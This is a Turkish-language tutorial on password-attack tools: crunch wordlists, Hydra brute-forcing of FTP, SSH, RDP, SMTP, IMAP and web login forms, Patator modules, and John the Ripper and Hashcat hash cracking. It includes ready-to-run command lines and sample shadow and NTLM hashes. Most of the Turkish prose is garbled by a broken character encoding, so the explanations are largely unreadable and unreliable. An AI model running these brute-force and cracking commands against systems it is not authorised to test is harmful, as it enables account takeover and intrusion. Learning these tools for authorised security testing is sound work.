-q  ǇŜǊƳǸǘŀǎȅƻƴǳ ŘƻǎȅŀŘŀƴ ƻƪǳǘŀǊŀƪ Řŀ ǎŀƐƭŀȅŀōƛƭƛǊƛȊΦ 

-r ǎŜœŜƴŜƐƛ ƛƭŜ ŘŀƘŀ ǀƴŎŜ ŎǘǊƭ-Ŏ ƛƭŜ ŘǳǊŘǳƐǳƳǳȊ ƪƻƳǳǘǳ ŘŜǾŀƳ ŜǘǘƛǊŜōƛƭƛǊƛȊΦ 

crunch 6 6 -f /usr/share/crunch/charset.lst  lalpha-numeric -o wordlist.txt -r 

-s  tŀǊƻƭŀ ǸǊŜǘƛƳƛƴ ƘŀƴƎƛ ƪŜƭƛƳŜΣ ƘŀǊŦ ǾŜȅŀ ǊŀƪŀƳŘŀƴ ōŀǒƭŀƳŀǎƤƴƤ ōŜƭƛǊǘŜōƛƭƛǊǎƛƴƛȊΦ 

-t  ǸǊŜǘƛƭŜŎŜƪ ǇŀǊƻƭŀƴƤƴ ƴŜǊŜǎƛƴŘŜ ƴŀǎƤƭ ƪŀǊŀƪǘŜǊ ƻƭŀŎŀƐƤƴƤ ōƛȊ ōŜƭƛǊƭŜȅŜōƛƭƛǊƛȊΦ 

     @   --  ƪǸœǸƪ ƘŀǊŦ  

     ,    --   .ǸȅǸƪ ƘŀǊŦ 

     %   --  numara 

    ̂     --  ǀȊŜƭ ƪŀǊŀƪǘŜǊ 

crunch 6 6 -t test@  

όœƤƪǘƤǎƤ testa, testb, testc...) 

crunch 6 6 -t test, 

όœƤƪǘƤǎƤ testA, testB, testC...) 

crunch 6 6 -t test% 

όœƤƪǘƤǎƤ test1, test2, test3....) 



crunch 6 6 -t test̂  

όœƤƪǘƤǎƤ test!, test&,test@....) 

crunch 9 9 -t test@,%  ̂

œƤƪǘƤǎƤƴƤƴ ǎƻƴ мл ŘŜƐŜǊƛ 

testzZ9; 

testzZ9" 

testzZ9' 

testzZ9< 

testZ9> 

testzZ9, 

testzZ9. 

testzZ9? 

testzZ9/ 

testzZ9 

 

ϪΣ҈ϣ ƛǒŀǊŜǘƭŜǊƛƴƛ ƪǳƭƭŀƴŀǊŀƪ -ǘ ǇŀǊŀƳŜǘǊŜǎƛȅƭŜ ƛǎǘŜŘƛƐƛƴƛȊ ƪƻƳōƛƴŀǎȅƻƴǳ ǎŀƐƭŀȅŀōƛƭƛǊǎƛƴƛȊΦ 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



Hydra: 
IŜŘŜŦ ŘƻƳŀƛƴ ǸȊŜǊƛƴŘŜ ŀœƤƪ ƻƭŀƴ ǎŜǊǾƛǎƭŜǊŜΣ ŀȅƴƤ ŀƴŘŀ ōƛǊŘŜƴ œƻƪ ǇŀǊŀƭŜƭ ōŀƐƭŀƴǘƤ ƛƭŜ ƪŀōŀ-kuvvet 

ȅǀƴǘŜƳƛȅƭŜ ǒƛŦǊŜ ŘŜƴŜƳŜƭŜǊƛ ǎŀƐƭŀȅŀƴ ƘƤȊƭƤ ǾŜ ŜǎƴŜƪ ōƛǊ ŀǊŀœǘƤǊΦ  

!Ǌŀœ ŀǒŀƐƤŘŀƪƛ ǇǊƻǘƻƪƻƭƭŜǊƛ ŘŜǎǘŜƪƭŜǊΦ 

Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, 

HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, 

PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, 

SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-

Auth, VNC and XMPP 

 

-l LOGIN  ƛƭŜ ŘŜƴŜƳŜǎƛƴƛ ƛǎǘŜŘƛƐƛƳƛȊ ǘŜƪ ōƛǊ  ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜǊŜōƛƭƛǊ ǾŜȅŀ -L FILE parametresiyle dosya   

Řŀƴ ōƛǊŘŜƴ œƻƪ  ƪǳƭƭŀƴƤŎƤ ŀŘƭŀǊƤƴƤ ƻƪǳǘabiliriz.   

-p PASS  ƛƭŜ ŘŜƴŜƳŜǎƛƴƛ ƛǎǘŜŘƛƐƛƳƛȊ ǘŜƪ ōƛǊ ǒƛŦǊŜȅƛ ǾŜǊŜōƛƭƛǊ ǾŜȅŀ -P FILE  paramatresiyle dosyadan birden 

œƻƪ ǒƛŦǊŜȅƛ ŘŜƴŜƳŜǎƛƴƛ ǎŀƐƭŀȅŀōƛƭƛǊƛȊΦ 

-C FILE  ǇŀǊŀƳŜǘǊŜǎƛ ƛƭŜ ϦƭƻƎƛƴΥǇŀǎǎϦ ŦƻǊƳŀǘƤƴŘŀ ŘƻǎȅŀŘŀƴ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜƭŜǊƛ ŘŜƴŜǘǘƛǊŜōƛƭƛriz. 

-M FILE   ǇŀǊŀƳŜǘǊŜǎƛ ƛƭŜ ōƛǊŘŜƴ œƻƪ ǎǳƴǳŎǳȅŀ ǎŀƭŘƤǊŀōƛƭƛǊƛȊΦ IŜǊ ǎŀǘƤǊŀ ōƛǊ ǎǳƴǳŎǳ LtΩǎƛ ȅŀȊƤƭƳŀƭƤŘƤǊΦ 

-t TASKS  ǇŀǊŀƳŜǘǊŜǎƛ ƛƭŜ ŀȅƴƤ ŀƴŘŀ ƘŜŘŜŦŜ ƪŀœ ǇŀǊŀƭŜƭ ōŀƐƭŀƴǘƤ ƪǳǊǳƭŀŎŀƐƤƴƤ ōŜƭƛǊǘŜōƛƭƛǊǎƛƴƛȊόǾŀǊǎŀȅƤƭŀƴΥ 

16) 

-S   tŀǊŀƳŜǘǊŜǎƛ ƛƭŜ ƘŜŘŜŦŜ ǎǎƭ ōŀƐƭŀƴǘƤ ǎŀƐƭŀǊ 

-s PORT  ǎŜǊǾƛǎ ǾŀǊǎŀȅƤƭŀƴ ǇƻǊǘǳƴ ŘƤǒƤƴŘŀ ōƛǊ ǇƻǊǘ Řŀ œŀƭƤǒƤȅƻǊ ƛǎŜ ōǳ ǇŀǊŀƳŜǘǊŜȅƛ ƪǳƭƭŀƴŀōƛƭƛǊǎƛƴƛȊΦ 

-e nsr    -Ŝ ǇŀǊŀƳŜǘǊŜǎƛƴŘŜƴ ǎƻƴǊŀ ōƻǒ ōƛǊ ǒƛŦǊŜ ŘŜƴŜƳŜǎƛ ϦƴϦΣ ŀȅƴƤ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜ ŘŜƴŜƳŜǎƛ ƛœƛƴ 

ϦǎϦ Σ ƪǳƭƭŀƴƤŎƤ ŀŘƤƴƤƴ ǘŜǊǎǘŜƴ ȅŀȊƤƭƤǒƤƴƤ ǒƛŦǊŜ ƻƭŀǊŀƪ ŘŜƴŜƳŜǎƛ ƛœƛƴϦǊϦ ǇŀǊŀƳŜǘǊŜǎƛ ƪǳƭƭŀƴƤƭƤǊΦ «œǸƴǸ ōƛǊŘŜƴ 

ŀȅƴƤ ŀƴŘŀ ƪǳƭƭŀƴƳŀǎƤ ƛœƛƴ άƴǎǊέ ǇŀǊŀƳŜǘǊŜǎƛƴƛ ƪǳƭƭŀƴŀōƛƭƛǊƛȊΦ 

-o FILE   ǇŀǊŀƳŜǘǊŜǎƛ ƛƭŜ ōŀǒŀǊƤƭƤ ƻƭŀƴ ŘŜƴŜƳŜƭŜǊƛ Řƻǎȅŀȅŀ ȅŀȊƤǊŀōƛƭƛǊƛȊΦ 

-f ǇŀǊŀƳŜǘǊŜǎƛ ƛƭŜ ŘŜƴŜƳŜ ōŀǒŀǊƤƭƤ ƻƭŘǳƐǳƴŘŀ ǎŀƭŘƤǊƤȅƤ ŘǳǊŘǳǊŀōƛƭƛǊƛȊΦ 

-v / -V / -d  ǇŀǊŀƳŜǘǊŜƭŜǊƛƴŘŜƴ ƘŜǊ ōƛǊƛ ƛƭŜ ŘŜƴŜƳŜ ŜǎƴŀǎƤƴŘŀ œƤƪǘƤƭŀǊƤ ƎǀǊƳŜƳƛȊƛ ǎŀƐƭŀǊΣ ǾŜǊōƻǎŜ ƳƻŘΦ 

 

ǀǊƴŜƪƭŜǊΥ   

hydra -l admin -p password123 ftp://192.168.1.10 

hydra -l admin -P password.txt ftp://192.168.1.10 

hydra -L user.txt -P password.txt ftp://192.168.1.10 

hydra -C userpass.txt ftp://192.168.1.10 

hydra -V -f -l admin -P wordlist.txt rdp://192.168.1.100 

hydra -l admin -P password.txt -V -o basarili 192.168.1.99 ssh 

hydra -s 25 -l test@example.com -P / root/password.txt 192.168.10.5 smtp 

ftp://192.168.1.10/
ftp://192.168.1.10/
ftp://192.168.1.10/
ftp://192.168.1.10/


 
hydra -l admin -P wordlist.txt imap://192.168.0.1/PLAIN 
 

ƘǘǘǇ ŦƻǊƳ ǎŀȅŦŀƭŀǊƤƴŀ ǎŀƭŘƤǊƤ ȅŀǇŀōƛƭƳŜƪ ƛœƛƴ ǀƴŎŜƭƛƪƭŜ ƭƻƎƛƴΦǇƘǇ ǎŀȅŦŀǎƤƴƤƴ ǳǊƭΩƛƴƛ ōƛƭƛȅƻǊ ƻƭƳŀƪ ƭŀȊƤƳΣ 

ōǳƴǳƴ ƛœƛƴ ȊŀǇǊƻȄȅ ƛƭŜ ŀǊŀȅŀ ƎƛǊƛǇ ƎŜǊŜƪƭƛ ƭƻƎƛƴ ōƛƭƎƛƭŜǊƛƴƛ ŀƭƳŀƳƤȊ ƎŜǊŜƪƛǊΦ 

 

hydra -l admin -P wordlist.txt -V 192.168.152.135 http-post-form 

άκŘǾǿŀκƭƻƎƛƴΦǇƘǇΥǳǎŜǊƴŀƳŜҐϣ¦{9wϣϧǇŀǎǎǿƻǊŘҐϣt!{{ϣϧ[ƻƎƛƴҐ[ƻƎƛƴΥ[ƻƎƛƴ ŦŀƛƭŜŘϦ -V 

-l ƪǳƭƭŀƴƤŎƤ ŀŘƤ 

-P  ƛŦǊŜ ŘƻǎȅŀǎƤ 

http-post-form servis-ǇǊƻǘƻƪƻƭ ŀŘƤ 

Login:Login failed ŘŀǘŀǎƤ ƻǘǳǊǳƳ ŀœŀƳŀŘƤƐƤƳƤȊŘŀ ŀƭŘƤƐƤƳƤȊ hata. 

.ǳ ǘŜǎǘƛƳƛȊƛ ŀȅǊƤŎŀ ȄƘȅŘǊŀ ƛƭŜ ƎǊŀŦƛƪ ŀǊŀȅǸȊ ƛƭŜ ŘŜ ȅŀǇŀōƛƭƛǊƛȊΦ 

 



 

DǊŀŦƛƪ ŀǊŀȅǸȊ ƛƭŜ ŘŜ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ŀŘƳƛƴΣ ǒƛŦǊŜ ǇŀǎǎǿƻǊŘ ƻƭŀǊŀƪ ōǳƭŘǳΦ 

Patator: 
tŀǘŀǘƻǊ ŀǊŀŎƤ ōƛǊ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤ ŀǊŀŎƤŘƤǊΦ !ǒŀƐƤŘŀƪƛ ǇǊƻǘƻƪƻƭƭŜǊŜ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ 

ƎŜǊœŜƪƭŜǒǘƛǊŜōƛƭƛǊΦ 

+ ftp_login       : Brute-force FTP 

 + ssh_login       : Brute-force SSH 

 + telnet_login    : Brute-force Telnet 

 + smtp_login      : Brute-force SMTP 

 + smtp_vrfy       : Enumerate valid users using SMTP VRFY 

 + smtp_rcpt       : Enumerate valid users using SMTP RCPT TO 

 + finger_lookup  : Enumerate valid users using Finger 

 + http_fuzz       : Brute-force HTTP 

 + pop_login       : Brute-force POP3 

 + pop_passd       : Brute-force poppassd (http://netwinsite.com/poppassd/) 

 + imap_login      : Brute-force IMAP4 

 + ldap_login      : Brute-force LDAP 

 + smb_login       : Brute-force SMB 

 + smb_lookupsid  : Brute-force SMB SID-lookup 

 + vmauthd_login  : Brute-force VMware Authentication Daemon 

 + mssql_login    : Brute-force MSSQL 

 + oracle_login    : Brute-force Oracle 

+ mysql_login     : Brute-force MySQL 



+ mysql_query    : Brute-force MySQL queries 

+ pgsql_login     : Brute-force PostgreSQL 

 + vnc_login       : Brute-force VNC 

 + dns_forward     : Forward lookup names 

 + dns_reverse     : Reverse lookup subnets 

 + snmp_login      : Brute-force SNMP v1/2/3 

 + unzip_pass      : Brute-force the password of encrypted ZIP files 

 + keystore_pass  : Brute-force the password of Java keystore files 

 + tcp_fuzz        : Fuzz TCP services 

   

./ǇŀǘŀǘƻǊ ғƪǳƭƭŀƴƤƭŀŎŀƪ ǇǊƻǘƻƪƻƭҔ ғǇǊƻǘƻƪƻƭ ǇŀǊŀƳŜǘǊŜƭŜǊƛҔ 

mǊƴŜƪΥ 

IŜŘŜŦ ŘƻƳŀƛƴƛƴ ǇƻǇо ǇǊƻǘƻƪƻƭǸƴŜ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ȅŀǇŀƭƤƳΦ 

patator pop_login ƪƻƳǳǘǳȅƭŀ ƘŀƴƎƛ ǇŀǊŀƳŜǘǊŜƭŜǊ ƎŜǊŜƪƭƛ ƻƴǳ ƎǀǊŜƭƛƳΦ 

 

Host bilgisi, user ve password bilgisini girmemiz yeterli. mǊƴŜƪǘŜ ŘŜ ƎǀǎǘŜǊƛƭŘƛƐƛ Ǝƛōƛ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ 

ǒƛŦǊŜ ōƛƭƎƛƭŜǊƛƴƛ Řƻǎȅŀ ƻƭŀǊŀƪ Řŀ ǾŜǊŜōƛƭƛǊƛȊΦ 

patator pop_login host=hedefdomainip user=FILE0 password=FILE1 0=/root/user.txt 

1=/root/password.txt  ƪƻƳǳǘǳȅƭŀ ǎŀƭŘƤǊƤ ƎŜǊœŜƪƭŜǒǘƛǊƛƭƛǊ 

5ƛƐŜǊ ǇǊƻǘƻƪƻƭƭŜǊ ƛœƛƴ ŘŜ ŘǳǊǳƳ ŀȅƴƤ ǒŜƪƛƭŘŜ ƪƻƴŦƛƎǸǊŜ ŜŘŜōƛƭƛǊǎƛƴƛȊΦ 

 

 

 

 

 



Johntheripper 
{ƛǎǘŜƳŘŜ ǘǳǘǳƭŀƴ ǇŀǊƻƭŀƭŀǊƤƴ ƎǸǾŜƴƭƛƐƛ ƛœƛƴΣ œŜǒƛǘƭƛ ŀƭƎƻǊƛǘƳŀƭŀǊ ȅŀǊŘƤƳƤȅƭŀ ƘŀǊŦΣ ǊŀƪŀƳ ǾŜ ƪŀǊŀƪǘŜǊƭŜǊ 

ƪǳƭƭŀƴƤƭŀǊŀƪ ǇŀǊƻƭŀƴƤƴ ǘŀƴƤƴƳŀȅŀŎŀƪΣ ƪŀǊƳŀǒƤƪ ǾŜ ŀƴƭŀǒƤƭƳŀȊ ƘŀƭŜ ƎŜǘƛǊƛƭƛǊΦ tŀǊƻƭŀƴƤƴ ōǳ ƪŀǊƳŀǒƤƪ ǾŜ 

ŀƴƭŀǒƤƭƳŀȊ ŘŜƐŜǊƛƴŜ ƘŀǎƘ ŘŜƴƛǊΦ WƻƘƴǘƘŜǊƛǇǇŜǊ ōǳ ŀƴƭŀǒƤƭƳŀȊ ŘŜƐŜǊƛ ȅƛƴŜ ŀƭƎƻǊƛǘƳŀƭŀǊ ȅŀǊŘƤƳƤȅƭŀ 

œǀȊƳŜȅŜ ȅŀǊŀȅŀƴΣ ǒƛŦǊŜ ƪƤǊƳŀ ŀǊŀŎƤŘƤǊΦ 

WƻƘƴǘƘŜǊƛǇǇŜǊ ōƛǊ œƻƪ ƘŀǎƘ ǘƛǇƭŜǊƛƴƛ œǀȊƳŜ ȅŜǘŜƴŜƐƛ ǾŀǊŘƤǊΦ .ǳƴƭŀǊŘŀƴ ōƛǊ ƪŀœƤΣ b¢[aΣ YŜǊōŜǊƻǎΣ  {I!-

1, SHA-256, SHA-512, DES, MD5 vs.) 

9ƭŘŜ ŜŘƛƭŜƴ ōƛǊ ǇŀǊƻƭŀ ǀȊŜǘƛƴƛ ǀƴŎŜƭƛƪƭŜ ǘŀƴƤƳŀȅŀ œŀƭƤǒŀƭƤƳΦ 

sdrusr:$6$5f.f3pRDQu/3.up0$/YBNPkMfzcKkPFqu2j9HqIr.gpGmP9RwagMyT74U2Ah4pMZkeM1zq 

.ǳ ǇŀǊƻƭŀ ƭƛƴǳȄ ƳŀƪƛƴŀŘŀƴ ŀƭƤƴƳƤǒ ōƛǊ ǇŀǊƻƭŀΦ [ƛƴǳȄ ŘŜ ōǳƭǳƴŀƴ κŜǘŎκǎƘŀŘƻǿ ŘƻǎȅŀǎƤƴŘŀƴ ŜƭŘŜ 

ŜŘƛƭƳƛǒǘƛǊΦ 

ǎŘǊǳǎŜǊΥ ƪǳƭƭŀƴƤŎƤ ŀŘƤƴƤ ǘŀƴƤƳƭŀǊ 

ilk ƛƪƛ Ϸ ƛǎŀǊŜǘƛƴƛƴ ŀǊŀǎƤƴŘŀƪƛ ǎŀȅƤ ƘŀƴƎƛ ƘŀǎƘ ŀƭƎƻǊƛǘŀǎǎƤƴƤƴ ƪǳƭƭŀƴƤƭŘƤƐƤƴƤ ōŜƭƛǊǘƛǊΦ 

.ǳ ǎŀȅƤ м ƛǎŜ a5рΣ р ƛǎŜ {I!-256, 6 ise SHA-рмн Ψȅƛ ƎǀǎǘŜǊƛǊΦ  

{ƻƴǊŀƪƛ ϷΩŀ ƪŀŘŀǊ ƻƭŀƴ ŘŜƐŜǊ ǎŀƭǘ ŘŜƐŜǊƛŘƛǊΦ ϷΩŘŀƴ ǎƻƴǊŀƪƛ ŘŜƐŜǊ ƛǎŜ ǒƛŦǊŜ ŘŜƐŜǊƛƴƛ ƎǀǎǘŜǊƛǊΦ 

 ƛƳŘƛ ōƛǊ ŘŜ WƻƘƴ ŀǊŀŎƤƴƤ ƴŀǎƤƭ ƪǳƭƭŀƴƤƭŀŎŀƐƤƴŀ ōŀƪŀƭƤƳΦ 

YǳƭƭŀƴƤƳƤ john [OPTIONS] [PASSWORD-FILES] ǒŜƪƛƭƛƴŘŜŘƛǊΦ 

{ŜœŜƴŜƪƭŜǊƛƴ ƴŜ ƻƭŘǳƐǳƴŀ ōŀƪŀƭƤƳΥ 

aƻŘŜ ǎŜœŜƴŜƐƛΥ 

--single Υ ǎƛƴƎƭŜ ŎǊŀŎƪ ƳƻŘΦ .ǳ ƳƻŘ ƪǳƭƭŀƴƤǊƪŜƴ ƧƻƘƴ ǀƴŎŜ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ƛƭŜ ƛƭƛǒƪƛƭƛ ŘŜƴŜƳŜƭŜǊƛ ȅŀǇŀǊΣ 

kullaƴƤŎƤ ŀŘƤƴƤƴ ƪŜƴŘƛǎƛΣ ǘŜǊǎƛΣ ǎƛǎǘŜƳ ōƛƭƎƛǎƛΣ ǳȅƎǳƭŀƳŀ ōƛƭƎƛǎƛΣ ǘŜƭŜŦƻƴ ōƛƭƎƛǎƛ Ǿǎ ōƛƭƎƛƭŜǊƛ ƪǳƭƭŀƴŀǊŀƪ 

ōǳƭƳŀȅŀ œŀƭƤǒƤǊΦ 

--wordlist[=FILE] Υ ōƛǊ ǎǀȊƭǸƪ ȅŀǊŘƤƳƤȅƭŀ ŘŜƴŜƳŜƭŜǊƛ ȅŀǇŀǊΦ  

--incremental Υ ǊŀǎǘƎŜƭŜ ƪŀǊƳŀǒƤƪ ŘŜƐŜǊƭŜǊ ǸǊŜǘŜǊŜƪ ǒƛŦǊŜ ŘŜƴŜƳŜǎƛ ȅŀǇŀǊΦ 

HeǊƘŀƴƎƛ ōƛǊ ƳƻŘ ǎŜœŜƴŜƐƛ ōŜƭƛǊǘƳŜȊǎŜƴƛȊΣ ǎƤǊŀȅƭŀ ǎƛƴƎƭŜΣ ƪŜƴŘƛǎƛƴŘŜ ōǳƭǳƴŀƴ ǿƻǊŘƭƛǎǘƭŜǊƭŜΣǎƻƴǊŀ Řŀ 

incremental olarak denemeler yapar. 

--format=NAME Υ ōǳ ǎŜœŜƴŜƪ ǒŀȅŜǘ ŜƭƛƴƛȊŘŜ ōǳƭǳƴŀƴ ǒƛŦǊŜƴƛƴ ƘŀǎƘ ǘƛǇƛƴƛ ōƛƭƛȅƻǊǎŀƴƤȊ ƪǳƭƭŀƴƳŀƴƤȊΣ 

ƧƻƘƴΩƴƤƴ ǒƛŦǊŜȅƛ ǘŀƘƳƛƴ ŜǘƳŜǎƛƴƛ ƻƭŘǳƪœŀ ƘƤȊƭŀƴŘƤǊŀŎŀƪǘƤǊΦ .ǳ ǎŜœŜƴŜƐƛ ƪǳƭƭŀƴƳŀȊǎŀƴƤȊ ǘǸƳ ƘŀǎƘ ǘƛǇƭŜǊƛƴƛ 

ǘŜƪ ǘŜƪ ŘŜƴŜƳŜȅŜ œŀƭƤǒŀŎŀƪǘƤǊΦ 

--show Υ ǎŜœŜƴŜƐƛ ǎƻƴǳŎǳ ŜƪǊŀƴŀ ǾŜǊŜŎŜƪǘƛǊΦ .ǳ ǎŜœŜƴŜƐƛ ȅŀȊƳŀȊ ƛǎŜƴƛȊ WƻƘƴ ōǳƭŘǳƐǳ ǒƛŦǊŜƭŜǊƛ 

./root/.john/john.pot  ŘƻǎȅŀǎƤƴŀ ȅŀȊŀŎŀƪǘƤǊΦ 

 ƛƳŘƛ ǀǊƴŜƪƭŜǊƭŜ ŘŜǘŀȅƭŀƴŘƤǊŀƭƤƳΦ 

John sifre.txt  κϝǎƛŦǊŜ ŘƻǎȅŀǎƤƴŘŀƪƛ ƘŀǎƘ ŘŜƐŜǊƛ ƛœƛƴ ǘǸƳ ǎŜœŜƴŜƪƭŜǊƛ ƪǳƭƭŀƴŀǊŀƪ ōǳƭƳŀȅŀ 

œŀƭƤǒƤǊΦ {ƻƴǳŎǳ john.pot ŘƻǎȅŀǎƤƴŀ ȅŀȊŀǊ 

john --show sifre.txt /*sonucu ekrana basar 

john --single sifre.txt 



john --wordlist=password.lst sifre.txt 

john ςincremental sifre.txt 

john --format=raw-md5 sifre.txt ςshow 

ǿƛƴŘƻǿǎ ƘŀǎƘ ǀǊƴŜƪƭŜǊƛΥ 

[a IŀǎƘ ǀǊƴŜƐƛΥ 

{ƛŦǊŜΦǘȄǘ ŘƻǎȅŀǎƤƴŘŀƪƛ ƘŀǎƘƭŜǊ 

admin:1011:5DF12C9F2162249EAAD3B435B51404EE:099C037B843FDCA6489B03635E87EA76::: 

user1:1008:4E1FB9BDD16A8F51AAD3B435B51404EE:FDC342B83B8A552C742B013E8A1BCA99::: 

 ƛŦǊŜƭŜǊƛ œǀȊŜōƛƭƳŜƪ ƛœƛƴ ./john --format=lm sifre.txt ƪƻƳǳǘǳƴǳ ƪǳƭƭŀƴƳŀƳƤȊ ȅŜǘŜǊƭƛ 

b¢[a IŀǎƘ mǊƴŜƐƛ: 

Sifre.ǘȄǘ ŘƻǎȅŀǎƤƴŘŀƪƛ b¢[a ƘŀǎƘƭŜǊ 

admin:$NT$aebd4de384c7ec43aad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f 

user:$NT$78bccaee08c90e29aad3b435b51404ee:f9e37e83b83c47a93c2f09f66408631b 

./john --format=nt sifre.txt ƪƻƳǳǘǳƴǳ ƪǳƭƭŀƴƳŀƪ ȅŜǘŜǊƭƛΦ  ŀȅŜǘ ǿƻǊŘƭƛǎǘ ƛƭŜ deneyecek iseniz; 

./john --format=nt ςwordlist=mywordlist.ls sifre.txt 

a5р ƘŀǎƘ ǀǊƴŜƐƛΥ $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/  

SHA-256: $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5   

SHA-512: 

$6$zWwwXKNj$gLAOoZCjcr8p/.VgV /FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVE

JLT/rSwZcDMlVVf/bhf.1  

Hashcat: 
.ƛǊ ŘƛƐŜǊ ǒƛŦǊŜ ƘŀǎƘ ƪƤǊƳŀ ŀǊŀŎƤ ƘŀǎƘŎŀǘ ŀǊŀŎƤŘƤǊΦ 

YǳƭƭŀƴƤƳƤΥ 

Usage: hashcat [options]... hash|hashfile|hccapfile [dictionary|mask|directory]... 

Hashcat ςƘŜƭǇ ƛƭŜ ǘǸƳ ǎŜœŜƴŜƪƭŜǊƛ ƎǀǊŜōƛƭƛǊƛȊΦ 

.ƛȊ Ŝƴ ǎƤƪ ƪǳƭƭŀƴƤƭŀƴ ǎŜœŜƴŜƪƭŜǊƛ ǘŀƴƤƳƭŀȅŀƭƤƳΦ 

-m : Hash tipi   #Hash tipini biliyorsak bu parametreyi kullanabiliriz. Hash tiplerini 

ŀǒŀƐƤŘŀ ǘŀƴƤƳƭŀȅŀŎŀƐƤȊΦ 

-a : {ŀƭŘƤǊƤ ƳƻŘǳ όŀǘǘŀŎƪ ƳƻŘύ І {ŀƭŘƤǊƤ ƳƻŘƭŀǊƤƴƤ ŀǒŀƐƤŘŀ ǘŀƴƤƳƭŀȅŀŎŀƐƤȊ 

-o: œƤƪǘƤ ŘƻǎȅŀǎƤ 

Hash modu: 

0: MD5 

100: SHA1 



1440: SHA-256 

1700: SHA-512 

20 : md5($salt.$pass) 

120 : sha1($salt.$pass)  

1420 : sha256($salt.$pass) 

1720 : sha512($salt.$pass) 

2500 : WPA/WPA2  

12 : PostgreSQL        

132 : MSSQL(2005)              

1731 :MSSQL(2012) 

300 : MySQL4.1/MySQL5  

3000 | LM 

1000 : NTLM         

Karakter seti: 

?l = abcdefghijklmnopqrstuvwxyz  

?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ  

?d = 0123456789  

?s = çspaceè!"#$%&'()*+, -./:;<=>?@[ \ ]^_`{|}~  

?a = ?l?u?d?s  

?b = 0x00 -  0xff  

 

{ŀƭŘƤǊƤ aƻŘǳ ό!ǘǘŀŎƪ aƻŘύ 

 0 : Straight   І{ǀȊƭǸƪ ŀǘŀƐƤ 

 1 : Combinator   ІŘƻǎȅŀƴƤƴ ƛœƛƴŘŜƪƛ ƪŜƭƛƳŜƭŜǊƛ ƪƻƳōƛƴŜ ŜŘŜǊ 

 3 : Brute-force   І Yŀōŀ ƪǳǾǾŜǘ {ŀƭŘƤǊƤǎƤ 

 6 :Hybrid Wordlist + Mask І {ǀȊƭǸƪ ǾŜ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤƴƤ ōƛǊƭŜǒǘƛǊƛǊ 

 7 : Hybrid Mask + Wordlist ІYŀōŀ ƪǳǾǾŜǘ ǾŜ ǎǀȊƭǸƪ ōƛǊƭŜǒǘƛǊƛǊΦ 

4ƤƪǘƤ ŦƻǊƳŀǘƤΥ 

н Υ Ǉƭŀƛƴ όŀœƤƪ Ƙŀƭƛύ 

3 : hash[:salt]:plain 

mǊƴŜƪƭŜǊΥ 

Hashcat -m 0 -a 0 hash.txt dict.txt І a5р ƻƭŀƴ ƘŀǎƘΩƛ ǎǀȊƭǸƪ ǎŀƭŘƤǊƤǎƤȅƭŀ œǀȊƳŜȅŜ œŀƭƤǒƤȅƻǊǳȊΦ 



Hashcat -m 100 -a 1 hash.txt comb.txt І{I!м ƘŀǎƘƛ ƻƭŀƴ ǒƛŦǊŜȅƛ /ƻƳōΦǘȄǘ ŘƻǎȅŀǎƤƴŘŀƴƪƛ ǘǸƳ 

ƪŜƭƛƳŜƭŜǊƛ ōƛǊōƛǊƛƴŜ ƪƻƳōƛƴŜ ŜŘŜǊŜƪ œǀȊƳŜȅŜ œŀƭƤǒŀŎŀƪΦ  

/ƻƳōΦǘȄǘ ŘƻǎȅŀǎƤƴƤƴ ƛœŜǊƛƐƛ ŀǒŀƐƤŘŀƪƛ Ǝƛōƛ п ƪŜƭƛƳŜ ƻƭǎǳƴΦ 

pass 

12345 

omg 

Test  

5ŜƴŜƳŜǎƛ ŀǒŀƐƤŘŀƪƛ Ǝƛōƛ ƻƭŀŎŀƪǘƤǊΦ 

passpass 

pass12345 

passomg 

passTest 

12345pass 

1234512345 

12345omg 

12345Test 

omgpass 

omg12345 

omgomg 

omgTest 

Testpass 

Test12345 

Testomg 

TestTest 

 

Hashcat -m 1000 -a 3 hash.txt ?u?l?l?l?l?d?d?s # NTLM olan hashi у ƪŀǊŀƪǘŜǊƭƛΣ .ǸȅǸƪ ƘŀǊŦΣ р ƪǸœǸƪ 

ƘŀǊŦΣ н ǊŀƪŀƳ ǾŜ м ǀȊŜƭ ƪŀǊŀƪǘŜǊ ƻƭŀŎŀƪ ǒŜƪƛƭŘŜ ƪŀōŀ 

ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ ȅŀǇŀǊŀƪ œǀȊŜƳŜȅŜ œŀƭƤǒŀŎŀƪΦ 

Hashcat -m 1000 -a 6 hash.txt dict.txt   ?d?d?d?d -o sonuc.txt Іb¢[a ƘŀǎƘƛ ŘƛŎǘΦǘȄǘ ǾŜ п ōŀǎŀƳŀƪƭƤ 

rakamlarla hibrit olarak ǎŀƭŘƤǊŀŎŀƪ ǾŜ œƤƪǘƤǎƤƴƤ 

ǎƻƴǳŎΦǘȄǘ ŘƻǎȅŀǎƤƴŀ ȅŀȊŀŎŀƪΦ 

ŘƛŎǘΦǘȄǘ ŘƻǎȅŀǎƤƴƤƴ ƛœŜǊƛƐƛ ŀǒŀƐƤŘŀƪƛ Ǝƛōƛ ƻƭǎǳƴΦ 

